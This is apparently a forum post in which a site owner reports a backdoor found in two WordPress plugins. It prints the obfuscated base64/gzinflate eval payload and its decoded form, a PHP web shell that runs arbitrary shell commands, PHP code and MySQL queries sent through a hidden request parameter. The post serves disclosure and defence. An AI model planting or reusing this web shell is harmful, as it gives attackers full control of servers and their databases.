mbroyles

The following code was found on my clients WP site in two separate plug-ins. Code was found at the top of each page (when you click the edit link for the plugin).

eval(gzinflate(base64_decode('1VVtT9swEP7c/gpTVSSRukGrMhgF1gk6aRL7AIwPCCbjJhfqLW/YzkoH/e87Oy9NCUPAJqRVbZr4Od89z53v0rxtNrhP7BU/jVzF44jCDZdK2hY1H8l8kBMIAstxmg00bhSG5J6B3f4Rh6lyiDZqDHnEqQCpYgF2SxvRMPag5QzqaJxARMdMgsdFbtD2uGTjAGgRTZJdwoRgMxqyxLaU4KHVIXCTBOjVtjr4oH1egbKt2l7knrk1SiFM1IwUdHO+BqrlIGFSqolILYesrpIVHlHDoQJ0SJ1q6bOxtjYk8ZhKxYSyMwoonhS7Cw6DwrqNOUGhZhNKoW4cKYiQycLEYBB51A2ARQUwN1cIJDyoQ86kgrCmIl9+kYZs7+sp0EcMn8Ctq1hAjyspuS123OMP7iQm2uxJnB5k8wQeQ1IJ3THxCgI5xe8xj+zWRdRaRkt6HaLBh0gOCZe6s+JUuGC3faM30R1Wxmthk1XLm8ds5f4a0wkPAPtkSHyIffSxMC6s32qvvgDmIdwh3fVev+BoSNo1tIDnZQ+4QSw1w1r9zc1yyS5vM/Lzy0cKpS/4m+NSNtO4lKCw0enx6Oh0dPL13EomCd3wun1vi3U3e5v9dX9zfWurv9Fj7tjbeLfudt/3rG+5XhOjtfOUPTrjaaD28qLo4M+OSnZ3iQU/GU7aLN363tY9FLIr7tLrNFYg6VXi2g65uyM1RKSR4iEg+oFIHJCJDBiedFml4oYe6iPbpLY2yLJnKkD+QkDWE0bA/RfE/6blOgUxK8S0sxLjYQxn8jqgBnw1STgHpok3frPnjSeVV1lOymmWHZMd2mecWfrl7OTokGKw4zP66ePnw9HBNsG5k6kEIWJhV2JXJ4/HUc2AFL23SPfSCMopVjjmTZ0NzLz986HTFvG0TLEPyp1QfFfG7rKb6nQ4x1oRvS2fBNlf7kAA5DJLB4NFmiQIzgL+KyPpVEUtafpX2T053d8fjQ6WEsx8H1wFHkUFeBSm40qiiV4jhcWf0m4UZ8Quop21F4yrQjJ6wu9v'))); ?>

I expanded the eval code. Here is what it expanded to:

{
        if (!function_exists('______safeshell'))
        {
                function ______safeshell($komut) {
                        @ini_restore("safe_mode");
                        @ini_restore("open_basedir");
                        $disable_functions = array_map('trim', explode(',', ini_get('disable_functions')));
                        if (!empty ($komut)) {
                                if (function_exists('passthru') && !in_array('passthru', $disable_functions)) {
                                        //@ ob_start();
                                        @ passthru($komut);
                                        //$res = @ ob_get_contents();
                                        //@ ob_end_clean();
                                }
                                elseif (function_exists('system') && !in_array('system', $disable_functions)) {
                                        //@ ob_start();
                                        @ system($komut);
                                        //$res = @ ob_get_contents();
                                        //@ ob_end_clean();
                                }
                                elseif (function_exists('shell_exec') && !in_array('shell_exec', $disable_functions)) {
                                        $res = @ shell_exec($komut);
                                        echo $res;
                                }
                                elseif (function_exists('exec') && !in_array('exec', $disable_functions)) {
                                        @ exec($komut, $res);
                                        $res = join("\n", $res);
                                        echo $res, "\n";
                                }
                                elseif (@ is_resource($f = @ popen($komut, "r"))) {
                                        //$res = "";
                                        while (!@ feof($f)) {
                                                //$res .= @ fread($f, 1024);
                                                echo(@ fread($f, 1024));
                                        }
                                        @ pclose($f);
                                }
                                else
                                {
                                        $res = <code>{$komut}</code>;
                                        echo $res;
                                }
                        }
                }
        };

        if (isset ($_REQUEST['php_5d14d8a172740f7088452acbd560c192'])) {
                echo "<php_5d14d8a172740f7088452acbd560c192_result>\n";
                if ($_REQUEST['php_5d14d8a172740f7088452acbd560c192'] == 'eval') {
                        eval(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
                }
                else if ($_REQUEST['php_5d14d8a172740f7088452acbd560c192'] == 'exec') {
                        ______safeshell(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
                }
                else if ($_REQUEST['php_5d14d8a172740f7088452acbd560c192'] == 'query') {
                        $result = mysql_query(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd'], $wpdb->dbh);
                        if (!$result)
                        {
                                echo "php_5d14d8a172740f7088452acbd560c192_result_MYSQL_QUERY_FAILED: ", mysql_error($wpdb->dbh), "\n";
                                die();
                        }
                        else if (is_resource($result))
                        {
                                $res = array();
                                while ($row = mysql_fetch_assoc($result))
                                {
                                        $res[] = $row;
                                };
                                mysql_free_result($result);
                                echo serialize($res);
                                die();
                        }
                        else
                        {
                                echo "php_5d14d8a172740f7088452acbd560c192_result_MYSQL_QUERY_SUCCEEDED: ", mysql_affected_rows($wbdb->dbh), " rows affected\n";
                                die();
                        }
                };
                echo "\n</php_5d14d8a172740f7088452acbd560c192_result>\n";
                die();
        };
};

Looks like it gives the ability to run shell commands and mysql DB queries via remote POST and GET requests.